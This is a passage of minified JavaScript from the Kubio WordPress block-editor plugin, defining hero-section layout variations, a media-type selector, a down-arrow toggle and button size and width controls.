{TITLE}"}},innerBlocks:[]}]}),Kc={name:"kubio/row",attributes:zc,innerBlocks:[$c(100)]},qc={name:"kubio/row",attributes:zc,innerBlocks:[Yc(100)]},Xc={name:"kubio/row",attributes:zc,innerBlocks:[$c(50,80),Vc(50)]},Qc={name:"kubio/row",attributes:zc,innerBlocks:[Yc(50,80),Vc(50)]},Zc={name:"kubio/row",attributes:zc,innerBlocks:[Vc(50),$c(50,80)]},Jc={name:"kubio/row",attributes:zc,innerBlocks:[Vc(50),Yc(50,80)]},es={name:"kubio/row",attributes:zc,innerBlocks:[Vc(80),$c(80)]},ts={name:"kubio/row",attributes:zc,innerBlocks:[Vc(80),Yc(80)]},os={name:"kubio/row",attributes:zc,innerBlocks:[$c(80),Vc(80)]},ns={name:"kubio/row",attributes:zc,innerBlocks:[Yc(80),Vc(80)]},as=[{name:"textOnly",isDefault:!1,title:Object(We.__)("Hero","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(Kc)],scope:[]},{name:"FPtextOnly",isDefault:!1,title:Object(We.__)("Front page hero","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(qc)],scope:[]},{name:"textWithMediaOnRight",isDefault:!1,title:Object(We.__)("Hero with media on right","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(Xc)],scope:[]},{name:"FPtextWithMediaOnRight",isDefault:!1,title:Object(We.__)("Front page hero with media on right","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(Qc)],scope:[]},{name:"textWithMediaOnLeft",isDefault:!1,title:Object(We.__)("Hero with media on the left side","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(Zc)],scope:[]},{name:"FPtextWithMediaOnLeft",isDefault:!1,title:Object(We.__)("Front page hero with media on the left side","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(Jc)],scope:[]},{name:"textWithMediaAbove",isDefault:!1,title:Object(We.__)("Hero media top","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(es)],scope:[]},{name:"FPtextWithMediaAbove",isDefault:!1,title:Object(We.__)("Hero media top","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(ts)],scope:[]},{name:"textWithMediaBelow",isDefault:!1,title:Object(We.__)("Hero media bottom","kubio"),description:Object(We.__)("Hero with media on the top side","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(os)],scope:[]},{name:"FPtextWithMediaBelow",isDefault:!1,title:Object(We.__)("Front page hero media bottom","kubio"),innerBlocks:[Object(un.transformBlockToTemplate)(ns)],scope:[]}],ls=Object(ji.addProTagToItems)(Fe.HERO_LAYOUT_OPTIONS,Fe.HERO_TYPES_FREE_VALUES),rs={icon:null,label:"",value:"",isDummy:!0,visibilityByMedia:{desktop:!0,tablet:!0,mobile:!0}},is=e=>{const t=Ne.a.cloneDeep(e),o=e.length%3;let n=0;o&&(n=3-o);for(let e=0;e<n;e++)t.push({...rs,value:Math.random()});return t},cs={IMAGE:Yo.IMAGE,VIDEO:Yo.VIDEO,IMAGE_SET:Yo.MULTIPLE_IMAGES,CUSTOM:"custom"},ss=[cs.IMAGE,cs.VIDEO,cs.CUSTOM];let us=[{label:Object(We.__)("Image","kubio"),value:cs.IMAGE},{label:Object(We.__)("Video","kubio"),value:cs.VIDEO},{label:Object(We.__)("Image Collage","kubio"),value:cs.IMAGE_SET},{label:Object(We.__)("Custom","kubio"),value:cs.CUSTOM}];us=Object(ji.addProTagToItems)(us,ss);const ps={options:ls,values:Fe.HERO_LAYOUT_VALUES},bs=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:100;const t=Object(He.createBlockWithDataHelper)("kubio/column",(t=>{t.setProp(dc,mc),t.setLocalStyle("columnWidth",Ln(e),{styledComponent:"container"})})),o=Object(He.createBlockWithDataHelper)(Yo.IMAGE,Ne.a.noop);return t.innerBlocks=[o],t},ms={getMediaColumnTopBottom:()=>bs(80),getMediaColumnLeftRight:()=>bs(50),getTextColumn:()=>{const e=Object(He.createBlockWithDataHelper)("kubio/column",(e=>{e.setProp(dc,bc)})),t=Wc.map((e=>"function"==typeof e?e():e));return e.innerBlocks=Object(He.convertTemplateFormatToBlock)(t),e},getMediaColumnVideo:()=>Object(He.createBlockWithDataHelper)(Yo.VIDEO),getMediaColumnImage:()=>Object(He.createBlockWithDataHelper)(Yo.IMAGE),getMediaColumnMultipleImages:()=>Object(He.createBlockWithDataHelper)(Yo.MULTIPLE_IMAGES)},ds={layout:ps,mediaType:{options:us,values:cs}},{getMediaColumnTopBottom:hs,getMediaColumnLeftRight:Os,getTextColumn:gs,getMediaColumnImage:ys,getMediaColumnVideo:js,getMediaColumnMultipleImages:ks}=ms,Es=ds.layout.values,fs=ds.mediaType.values,vs=cn.columnWidth.ColumnWidthTypes,_s={desktop:{value:80,unit:"%"},tablet:{value:80,unit:"%"},mobile:{value:100,unit:"%"}},Cs={desktop:{value:50,unit:"%"},tablet:{value:80,unit:"%"},mobile:{value:100,unit:"%"}},Is=e=>{switch(e){case Es.TEXT_WITH_MEDIA_ABOVE:case Es.TEXT_WITH_MEDIA_BELOW:case Es.TEXT_WITH_MEDIA_ON_LEFT:case Es.TEXT_WITH_MEDIA_ON_RIGHT:return!0;default:return!1}},Ts=e=>{let t=null;switch(e){case Es.TEXT_WITH_MEDIA_ON_RIGHT:case Es.TEXT_WITH_MEDIA_ON_LEFT:t=Os();break;case Es.TEXT_WITH_MEDIA_BELOW:case Es.TEXT_WITH_MEDIA_ABOVE:t=hs()}return t},Ss=Object(He.withComputedData)((e=>{const{insertBlock:t,moveBlocksToPosition:o,removeBlock:n,replaceBlock:a,replaceInnerBlocks:l}=Object(Ve.useDispatch)("core/block-editor"),{getBlock:r,isFrontPage:i}=Object(Ve.useSelect)((e=>{var t,o;const{getBlock:n}=e("core/block-editor");return{getBlock:n,isFrontPage:(null===(t=e(Fe.STORE_KEY))||void 0===t||null===(o=t.getIsFrontPage)||void 0===o?void 0:o.call(t))||!1}})),c=Object(He.useActiveMedia)(),s=e.withChildren({autoSave:!1,forceLoadStoreData:!0}).filter((e=>(null==e?void 0:e.blockName)===Yo.ROW)),u=Ne.a.get(s,0,null),p=(()=>{if(s.length>1)return!0;let e=!1;return u&&u.withChildren().forEach((t=>{t.getProp(dc)||(e=!0)})),e})(),b=e=>{let t=null;const o=o=>{o.getProp(dc)===e&&(t=o)};return p?s.forEach((e=>{e&&e.withChildren().forEach(o)})):u&&u.withChildren().forEach(o),t};let m=b(mc),d=b(bc);const h=(()=>{let e=null;return m&&(e=m.withParent()),d&&!e&&(e=d.withParent()),e||(e=u),e})(),O=null==h?void 0:h.clientId,g=h?h.withChildren():[],y=Object(xe.useRef)(!1),j=e=>e?e.getStyle("columnWidth.custom.value",null,{styledComponent:"container",local:!0}):null,k=(()=>{const e=Ne.a.get(g,0);return!!e&&e.getProp(dc)===bc})(),E=()=>{if(p)return Es.CUSTOM;if(d&&!m)return Es.TEXT_ONLY;if(!d||!m)return Es.CUSTOM;const e=(()=>{var e;if(null===(e=m)||void 0===e||!e.clientId)return!0;const t=j(m),o=j(d);return!(!o||!t)&&Number(t)+Number(o)<=100})();return e?e?k?Es.TEXT_WITH_MEDIA_ON_RIGHT:Es.TEXT_WITH_MEDIA_ON_LEFT:void 0:k?Es.TEXT_WITH_MEDIA_BELOW:Es.TEXT_WITH_MEDIA_ABOVE},f=E(),[v,_]=Object(xe.useState)(f),C=()=>{const e=E();v!==e&&_(e)},I=Object(xe.useRef)(null);Object(xe.useEffect)((()=>{I.current&&clearTimeout(I.current),y.current||(I.current=setTimeout(C,100))}),[f,c]);const T=async(e,t)=>{t&&(h.setProp("layout.equalWidth",!1),Ne.a.each(e,((e,o)=>{const n={type:vs.CUSTOM,custom:e};t.setStyle("columnWidth",n,{styledComponent:"container",local:!0,media:o})})))},S=async e=>{await T(_s,e)},w=async e=>{await T(Cs,e)},P=async(e,t)=>{switch(e){case Es.TEXT_WITH_MEDIA_ABOVE:case Es.TEXT_WITH_MEDIA_BELOW:await S(d),await S(m);break;case Es.TEXT_WITH_MEDIA_ON_LEFT:case Es.TEXT_WITH_MEDIA_ON_RIGHT:t!==Es.TEXT_WITH_MEDIA_ABOVE&&t!==Es.TEXT_WITH_MEDIA_BELOW&&t!==Es.TEXT_ONLY&&t!==Es.CUSTOM||(await w(d),await w(m));break;case Es.TEXT_ONLY:await S(d)}e===Es.TEXT_ONLY?d&&d.save():(d&&d.save(),m&&m.save())},A=Object(He.useGroupDispatch)(),B=Object(xe.useMemo)((()=>{const e=ds.layout;let t=e.options;const o=e.values;v!==o.CUSTOM&&(t=t.filter((e=>e.value!==o.CUSTOM)));const n=t.filter((e=>Ne.a.get(e.visibilityByMedia,c)));return is(n)}),[v,c]),N={value:v,onChange:a=>{e.group((()=>{A((()=>(_(a),(async(a,r)=>{if(s.length){switch(y.current=!0,a){case Es.TEXT_ONLY:Is(r)&&await(async(e,o)=>{const n=Ts(e);let a=0;switch(e){case Es.TEXT_WITH_MEDIA_ON_RIGHT:case Es.TEXT_WITH_MEDIA_BELOW:a=1;break;case Es.TEXT_WITH_MEDIA_ON_LEFT:case Es.TEXT_WITH_MEDIA_ABOVE:a=0}await P(e,o),await t(n,a,O,!1);const l=Ne.a.get(n,"clientId");m=h.withClientId(l)})(r,a);break;case Es.TEXT_WITH_MEDIA_ABOVE:case Es.TEXT_WITH_MEDIA_BELOW:case Es.TEXT_WITH_MEDIA_ON_LEFT:case Es.TEXT_WITH_MEDIA_ON_RIGHT:Is(r)&&await(async(e,t)=>{var n,a;if(d&&m){switch(e){case Es.TEXT_WITH_MEDIA_ON_RIGHT:case Es.TEXT_WITH_MEDIA_BELOW:var l;null!==(n=d)&&void 0!==n&&n.clientId&&await o([null===(l=d)||void 0===l?void 0:l.clientId],O,O,0);break;case Es.TEXT_WITH_MEDIA_ON_LEFT:case Es.TEXT_WITH_MEDIA_ABOVE:var r;null!==(a=m)&&void 0!==a&&a.clientId&&await o([null===(r=m)||void 0===r?void 0:r.clientId],O,O,0)}await P(e,t)}})(r,a),r===Es.TEXT_ONLY&&await(async()=>{var e;await S(d),m&&await n(null===(e=m)||void 0===e?void 0:e.clientId,!1),d.save()})();break;case Es.CUSTOM:await(async(e,a)=>{var l,r;let i,c;if(!d){i=gs(),await t(i,0,O,!1);const e=Ne.a.get(i,"clientId");d=h.withClientId(e)}if(!m&&e!==Es.TEXT_ONLY){c=Ts(e),await t(c,0,O,!1);const o=Ne.a.get(c,"clientId");m=h.withClientId(o)}switch(await P(e,a),e){case Es.TEXT_WITH_MEDIA_ON_RIGHT:case Es.TEXT_WITH_MEDIA_BELOW:o([null===(l=d)||void 0===l?void 0:l.clientId],O,O,0);break;case Es.TEXT_WITH_MEDIA_ON_LEFT:case Es.TEXT_WITH_MEDIA_ABOVE:o([null===(r=m)||void 0===r?void 0:r.clientId],O,O,0)}g.forEach((e=>{var t,o;const a=null==e?void 0:e.clientId;a&&a!==(null===(t=d)||void 0===t?void 0:t.clientId)&&a!==(null===(o=m)||void 0===o?void 0:o.clientId)&&n(a,!1)})),s.forEach((e=>{null!=e&&e.clientId&&(null==e?void 0:e.clientId)!==O&&n(null==e?void 0:e.clientId,!1)}))})(r,a)}y.current=!1}else{var c;const t=i?`FP${r}`:r,o=null===(c=Object(Be.find)(as,{name:t}))||void 0===c?void 0:c.innerBlocks;if(o){const t=Object(un.refreshBlockStyleRefs)(Object(un.transformTemplateToBlock)(o[0]));l(null==e?void 0:e.clientId,[t])}}})(v,a))))}))},options:B},x=()=>{var e;if(!m)return null;const t=m.withChildren();if(!t||t&&1!==t.length)return fs.CUSTOM;const o=Ne.a.get(t,0);switch(o&&(null==o||null===(e=o.block)||void 0===e?void 0:e.name)){case Yo.IMAGE:return Yo.IMAGE;case Yo.VIDEO:return Yo.VIDEO;case Yo.MULTIPLE_IMAGES:return Yo.MULTIPLE_IMAGES;default:return fs.CUSTOM}},R=x(),[D,L]=Object(xe.useState)(x());Object(xe.useEffect)((()=>{R!==D&&L(R)}),[R]);const M=(()=>{const e=ds.mediaType;let t=e.options;const o=e.values;return D!==o.CUSTOM&&(t=t.filter((e=>e.value!==o.CUSTOM))),t})();return{mediaColumnHelperExists:!!m,heroLayout:N,mediaType:{value:D,onChange:e=>{(e=>{const t=D;switch(t){case fs.IMAGE:case fs.VIDEO:case fs.IMAGE_SET:e!==fs.CUSTOM&&((e,t)=>{const o=m.withChildren();let n=null;switch(e){case fs.IMAGE:n=ys();break;case fs.VIDEO:n=js();break;case fs.IMAGE_SET:n=ks()}o.forEach((e=>{var o;(null==e||null===(o=e.block)||void 0===o?void 0:o.name)===t&&a(e.clientId,n)}))})(e,t);break;case fs.CUSTOM:(e=>{var t;let o;if(m.withChildren().forEach((t=>{var n;(null==t||null===(n=t.block)||void 0===n?void 0:n.name)===e&&(o=r(t.clientId))})),!o)switch(e){case fs.IMAGE:o=ys();break;case fs.VIDEO:o=js();break;case fs.IMAGE_SET:o=ks()}l(null===(t=m)||void 0===t?void 0:t.clientId,[o],!1)})(e)}})(e),L(e)},options:M}}}))((e=>{let{computed:t}=e;const{heroLayout:o,mediaType:n,mediaColumnHelperExists:a}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectWithIconControl,Object(ut.a)({label:Object(We.__)("Hero layout","kubio"),utmSource:"hero-layout"},o)),a&&Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:"Media Type"},n)))})),ws=(e,t)=>()=>{const{style:o,props:n,_props:a,_style:l,attributes:r}=t;let i=Object(He.getBlockDefaultVariation)(e);i||(i={blockName:e,attributes:{},innerBlocks:[]});const{attributes:c,innerBlocks:s}=i,u={...r,kubio:{style:o,props:n,_props:a,_style:l}},p=Ne.a.merge({},{attributes:c},{attributes:u});return Object(He.composeBlockWithStyle)(e,p,s)},Ps={attributes:{name:"font-awesome/angle-down"},style:Ne.a.merge({},{descendants:{outer:{textAlign:"center"},inner:{width:{value:40,unit:"px"},height:{value:40,unit:"px"},fill:"#FFFFFF"}}})};let As=ws(Yo.ICON,Ps);As=As();const Bs={attributes:{text:Object(We.__)("Down","kubio")},style:Ne.a.merge({},{descendants:{link:{background:{color:"rgba(var(--kubio-color-1),1)"},typography:{color:"rgba(var(--kubio-color-5),1)",weight:"600",size:{value:"12",unit:"px"},transform:"uppercase",lineHeight:{value:"1",unit:""},letterSpacing:{value:"1",unit:"px"}},border:{top:{color:"rgba(var(--kubio-color-1-variant-4),1)",width:{value:2,unit:"px"},style:"solid",radius:{left:{value:5,unit:"px"},right:{value:5,unit:"px"}}},bottom:{color:"rgba(var(--kubio-color-1-variant-4),1)",width:{value:2,unit:"px"},style:"solid",radius:{right:{value:5,unit:"px"},left:{value:5,unit:"px"}}},left:{color:"rgba(var(--kubio-color-1-variant-4),1)",width:{value:2,unit:"px"},style:"solid"},right:{color:"rgba(var(--kubio-color-1-variant-4),1)",width:{value:2,unit:"px"},style:"solid"}},boxShadow:{enabled:!1},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"24"},right:{unit:"px",value:"24"}},states:{hover:{background:{color:"rgba(var(--kubio-color-1-variant-4),1)"}}}},icon:{size:{unit:"px",value:"12"}}}})};let Ns=ws(Yo.BUTTON,Bs);Ns=Ns();const xs=Object(Me.compose)([Object(He.withComputedData)((e=>{var t;const{removeBlocks:o}=Object(Ve.useDispatch)("core/block-editor"),n=e.useStylePath("customHeight",{styledComponent:ta});let a=!1;return e.withChildren().forEach((e=>{e.block.name===Yo.DOWN_ARROW&&(!0===a&&o(e.clientId,!0),a=!0)})),{dataHelper:e,showContentPosition:!!n.value&&(null==n||null===(t=n.value)||void 0===t?void 0:t.type)!==cn.HeightTypesEnum.FIT_TO_CONTENT,heightProps:n}}))])((e=>{let{computed:t}=e;const{heightProps:o,showContentPosition:n,dataHelper:a}=t,{getBlocksByClientId:l}=Object(Ve.useSelect)((e=>e("core/block-editor"))),{insertBlock:r,removeBlocks:i,selectBlock:c}=Object(Ve.useDispatch)("core/block-editor");let s=!1;return a.withChildren().forEach((e=>{e.block.name===Yo.DOWN_ARROW&&(s=!0)})),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Layout structure","kubio"),className:"kubio-section-layout-panel"},Object(xe.createElement)(Ss,null),Object(xe.createElement)(Re.SelectControlWithPath,{options:$n,label:Object(We.__)("Container width","kubio"),type:He.WithDataPathTypes.PROP,path:"width"}),Object(xe.createElement)(Re.CustomHeightControl,Object(ut.a)({label:Object(We.__)("Container height","kubio")},o)),n&&Object(xe.createElement)(Re.VerticalAlignControlWithPath,{label:Object(We.__)("Content position","kubio"),path:"verticalAlign",type:He.WithDataPathTypes.PROP}),Object(xe.createElement)(Re.InlineLabeledControl,{label:Object(We.__)("Down arrow","kubio")},Object(xe.createElement)(Le.FormToggle,{checked:s,onChange:()=>{(e=>{const t=!e,o=a.clientId,n=a.withChildren();if(t){let e=!1;if(n.forEach((t=>{let o=l(t.clientId);var n;o.length>0&&(o=o[0],(null===(n=o)||void 0===n?void 0:n.name)===Yo.DOWN_ARROW&&(e=!0))})),!0!==e){const e=Object(Ge.createBlock)(...As),t=Object(Ge.createBlock)(Yo.DOWN_ARROW,{},[e]),n=a.withChildren().length;r(t,n,o,!1)}}else n.forEach((e=>{let t=l(e.clientId);t.length>0&&(t=t[0],t.name===Yo.DOWN_ARROW&&i(e.clientId,!0))}));c(o)})(s)}})))})),Rs=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(xs,null),Object(xe.createElement)(ol,null)),Ds=Ne.a.merge({},na,{[ta]:{supports:{filters:{background:{showOverlayOptionsOnFree:!0,freeTypes:["none","image","gradient","video","slideshow"]}}}}}),Ls=()=>{const e=Ne.a.get(Ds,ta);return Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Re.BackgroundSection,{styledElement:e}),Object(xe.createElement)(al,null))};var Ms=Object(Me.compose)([])(Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Rs,null),Object(xe.createElement)(Ls,null),Object(xe.createElement)(Fc,e))})));const Ws=Yo.HERO,Hs=[...gc,...ot];Object(Ae.addFilter)("kubio.rightClickMenu.menuItems",Ws,((e,t)=>t===Ws?Hs:e));const Gs={name:"kubio/hero",category:"kubio-layout",supports:{kubio:{appearanceEffect:!0,elementsEnum:{INLINE_SCRIPT:"inlineScript"},elementsByName:{inner:{props:{className:["h-navigation-padding","h-section-grid-container"]}},inlineScript:{tag:"<>"}},default:{props:{downArrow:{enabled:!1},showHeader:!1,overlapSection:!1}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"inlineScript"}},{type:"wp:InnerBlocks"}]}]}}}},Us=Ne.a.merge({},{name:"kubio/section",title:"Section",category:"kubio-layout",attributes:{kubio:{type:"object"},attrs:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["d-flex","h-section-global-spacing"]},supports:{background:!0,separator:!0}},inner:{props:{className:["h-section-grid-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{style:{customHeight:{type:"fit-to-content"}},props:{width:"boxed",verticalAlign:"center"}}}}},Gs),Fs=Object(nn.extendBlockMeta)(Us,{title:Object(We.__)("Hero","kubio"),icon:on.BlockIcons.Hero,keywords:[],parent:["kubio/header"],apiVersion:2,supports:{kubio:{elementsByName:Ds},anchor:!0,reusable:!1,html:!1,multiple:!1},edit:Ms,save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)},variations:as,variationsFilter:e=>{const{attributes:t}=e;return void 0===t.kubio.style?Ne.a.set(e,"attributes.kubio.style.descendants.outer.background.color","rgba(var(--kubio-color-1-variant-1),1)"):null!=e&&e.isDefault?{...e,description:Object(We.__)("If you’ve accidentally removed your hero, you can re-add a hero to your page with this block. The hero block has 5 available layouts.","kubio")}:e},innerBlocksDisableInBetweenInserter:!0}),zs="outer",Vs="inner",Ys={[zs]:{internal:!0}},$s=[{value:"icon",label:Object(We.__)("Icon","kubio")},{value:"button",label:Object(We.__)("Button","kubio")}];var Ks=Object(He.withComputedData)((e=>{const t=e.withChildren();return{iconId:Ne.a.get(t,"0.options.clientId"),dataHelper:e}}))((e=>{let{computed:t}=e;const{iconId:o,dataHelper:n}=t;return"icon"===n.getProp("downarrowType")?Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(Re.IconPickerWithPath,{path:"name",type:He.WithDataPathTypes.ATTRIBUTE})):Object(xe.createElement)(xe.Fragment,null)}));const qs="spacing",Xs="hspace",Qs="hSpaceGroup",Zs={["outer"]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[qs]:{internal:!0,supports:{styles:[...cn.StylesPresetsEnum.ALL],states:cn.StatesPresetsEnum.BASIC}},[Xs]:{internal:!0},[Qs]:{internal:!0}},Js="spacing",eu="icon",tu=Object(He.withComputedData)((e=>{const{globalStyle:t}=Object(tl.useGlobalDataStyle)(),o=Object(tl.useInheritedTextAlign)();return{hSpaceDefault:t.getPropInMedia("hSpace"),iconGetter:e=>!!e.getProp("showIcon")&&e.getAttribute("icon.name",""),defaultTextAlign:o}}))((e=>{const{panelLabel:t,addButtonText:o=Object(We.__)("Add link","kubio"),groupListLabel:n=Object(We.__)("Button list","kubio"),alignLabel:a=Object(We.__)("Link group align","kubio"),spaceBetweenLabel:l=Object(We.__)("Space between links","kubio"),initialOpen:r=!0,computed:i,dataHelper:c}=e,{iconGetter:s,hSpaceDefault:u,defaultTextAlign:p}=i,[b,m]=Object(Lr.useSessionProp)(c.clientId,"content-group-props-opened",r);return Object(xe.createElement)(Re.KubioPanelBody,{title:t,initialOpen:r,opened:b,onToggle:()=>{m(!b)}},Object(xe.createElement)(Re.SortableCollapseGroupWithData,{selectItem:!0,iconGetter:s,addButtonText:o,selectPrevious:!0,label:n}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:l,type:"prop",path:"layout.hSpace",media:"auto",defaultValue:u,min:0,max:100,capMax:!0,capMin:!0}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{path:"textAlign",type:"style",label:a,defaultValue:p,style:qs}))}));var ou=tu;const nu={size:{unit:"px",value:"11"},weight:"600",lineHeight:{value:"1",unit:""},transform:"",letterSpacing:{value:"1",unit:"px"}},au={unit:"px",value:"8"},lu={unit:"px",value:"20"},ru={size:{unit:"px",value:"12"},weight:"600",lineHeight:{value:"1",unit:""},transform:"uppercase",letterSpacing:{value:"1",unit:"px"}},iu={unit:"px",value:"12"},cu={unit:"px",value:"24"},su={size:{unit:"px",value:"14"},weight:"600",transform:"uppercase",lineHeight:{value:"1",unit:""},letterSpacing:{value:"1",unit:"px"}},uu={unit:"px",value:"15"},pu={unit:"px",value:"30"},bu={small:{descendants:{[Cc]:{padding:{top:au,bottom:au,left:lu,right:lu},typography:nu},[Ic]:{size:nu.size}}},medium:{descendants:{[Cc]:{padding:{top:iu,bottom:iu,left:cu,right:cu},typography:ru},[Ic]:{size:ru.size}}},large:{descendants:{[Cc]:{padding:{top:uu,bottom:uu,left:pu,right:pu},typography:su},[Ic]:{size:su.size}}}},mu={FIT_TO_CONTENT:"fitToContent",CUSTOM:"custom"},du=[{value:mu.FIT_TO_CONTENT,label:Object(We.__)("Fit to text","kubio")},{value:mu.CUSTOM,label:Object(We.__)("Fixed width","kubio")}],hu=[{value:cn.HorizontalAlignFlexValues.LEFT,label:Object(We.__)("Left","kubio"),icon:on.TextAlignLeft},{value:cn.HorizontalAlignFlexValues.CENTER,label:Object(We.__)("Center","kubio"),icon:on.TextAlignCenter},{value:cn.HorizontalAlignFlexValues.RIGHT,label:Object(We.__)("Right","kubio"),icon:on.TextAlignRight}],Ou={units:[{label:"PX",value:"px"},{label:"%",value:"%"}],optionsByUnit:{px:{min:0,max:300,step:1},"%":{min:0,max:100,step:1}}},gu={values:mu,options:du,default:mu.FIT_TO_CONTENT},yu={SMALL:"small",MEDIUM:"medium",LARGE:"large",CUSTOM:"custom"},ju={values:yu,options:[{label:Object(We.__)("Small","kubio"),value:yu.SMALL},{label:Object(We.__)("Medium","kubio"),value:yu.MEDIUM},{label:Object(We.__)("Large","kubio"),value:yu.LARGE},{label:Object(We.__)("Custom","kubio"),value:yu.CUSTOM}],optionsInitials:[{label:Object(We.__)("S","kubio"),value:yu.SMALL},{label:Object(We.__)("M","kubio"),value:yu.MEDIUM},{label:Object(We.__)("L","kubio"),value:yu.LARGE},{label:Object(We.__)("Custom","kubio"),value:yu.CUSTOM}]},ku={AFTER:"after",BEFORE:"before"},Eu={iconPosition:{values:ku,options:[{label:Object(We.__)("After","kubio"),value:ku.AFTER},{label:Object(We.__)("Before","kubio"),value:ku.BEFORE}]},buttonSize:ju,horizontalPaddingOptions:{min:0,max:100,step:1,capMax:!1},verticalPaddingOptions:{min:0,max:30,step:1,capMax:!1}},fu=Object(Me.compose)(Object(He.withColibriDataAutoSave)((e=>{const t=gu.values,{clientId:o}=Object(De.useBlockEditContext)(),{ownerDocument:n}=Object(He.useOwnerDocumentContext)(),a={value:e.getPropInMedia("buttonWidth"),onChange:a=>{if(a===t.CUSTOM){const t=(()=>{const e=Object(un.getPreviewElementByModelId)(o,n);if(!e)return 0;const t=window.getComputedStyle(e);return Object(un.toFixedNoRounding)(parseFloat(t.getPropertyValue("width")),2)})();e.setStyle("width",{unit:"px",value:t},{styledComponent:"outer"});const a=e.getStyle("padding"),l={left:null==a?void 0:a.left,right:null==a?void 0:a.right};e.setPropInMedia("customWidth.lastHorizontalPadding",l)}else e.setStyle("width",null,{styledComponent:"outer",unset:!0});e.setPropInMedia("buttonWidth",a),(o=>{if(o===t.CUSTOM)e.setStyle("padding.left",null,{unset:!0}),e.setStyle("padding.right",null,{unset:!0});else{const t=e.getPropInMedia("customWidth.lastHorizontalPadding");e.setStyle("padding",t),e.setStyle("textAlign",null,{unset:!0})}})(a)}};return{buttonWidthIs:{fit:t.FIT_TO_CONTENT===a.value,custom:t.CUSTOM===a.value},buttonWidth:a,horizontalPadding:{value:e.getStyle("padding.left"),onChange:t=>{const o={left:t,right:t};e.setStyle("padding",o)}},verticalPadding:{value:e.getStyle("padding.top"),onChange:t=>{const o={top:t,bottom:t};e.setStyle("padding",o)}},width:e.useStylePath("width",{styledComponent:"outer"})}})))((e=>{let{computed:t}=e;const{buttonWidth:o,width:n,buttonWidthIs:a,horizontalPadding:l,verticalPadding:r}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Button width","kubio")},o,{options:gu.options})),a.custom&&Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({},Ou,n,{label:Object(We.__)("Width","kubio"),allowReset:!1})),a.fit&&Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Horizontal padding","kubio")},Eu.horizontalPaddingOptions,l,{allowReset:!1})),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Vertical padding","kubio")},Eu.verticalPaddingOptions,r,{allowReset:!1})),a.custom&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.HorizontalFlexAlignControlWithPath,{label:Object(We.__)("Text align","kubio"),path:"justifyContent",options:hu,type:He.WithDataPathTypes.STYLE,style:Cc})))})),vu=Object(He.withColibriDataAutoSave)((e=>{const t=e.getPropInMedia("buttonSize"),o=t===Eu.buttonSize.values.CUSTOM;return{buttonSize:{value:t,onChange:t=>{e.setPropInMedia("buttonSize",t),(t=>{const o={styledComponent:_c,unset:!0};"custom"!==t&&(e.setStyle("width",null,o),e.setPropInMedia("buttonWidth","fitToContent"))})(t),(t=>{bu[t]&&Object(He.applyMultipleStyles)(bu[t],e)})(t)},options:window.isKubioBlockEditor?Eu.buttonSize.options:Eu.buttonSize.optionsInitials},showButtonWidth:o}}))((e=>{let{computed:t}=e;const{buttonSize:o,showButtonWidth:n}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({label:Object(We.__)("Button size","kubio")},o)),n&&Object(xe.createElement)(fu,null),Object(xe.createElement)(Re.SeparatorHorizontalLine,null))})),_u={toolbar1:"bold,italic"},Cu=e=>{let{computed:t,dynamicLink:o,withAlign:n,buttonPropsBefore:a,buttonPropsAfter:l}=e;const{showIcon:r,onAdd:i,groupClientId:c,showGroup:s,isOutsideOfGroup:u,groupTextAlign:p,dataHelper:b}=t;return Object(xe.createElement)(xe.Fragment,null,a,Object(xe.createElement)(Re.TinymceControlWithPath,{label:Object(We.__)("Button text","kubio"),path:"text",type:He.WithDataPathTypes.ATTRIBUTE,editorSettings:_u,onTextChange:e=>{const t={styledComponent:eu},o={value:0,unit:"px"},{left:n,right:a}=b.getStyle("margin",{},t);if(""===b.getAttribute("text")&&(null!=n&&n.value||null!=a&&a.value)){const e={right:o,left:o};b.setStyle("margin",e,t)}}}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),!o&&Object(xe.createElement)(Re.LinkControlWithData,{label:Object(We.__)("Button link","kubio")}),Object(xe.createElement)(vu,null),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Display 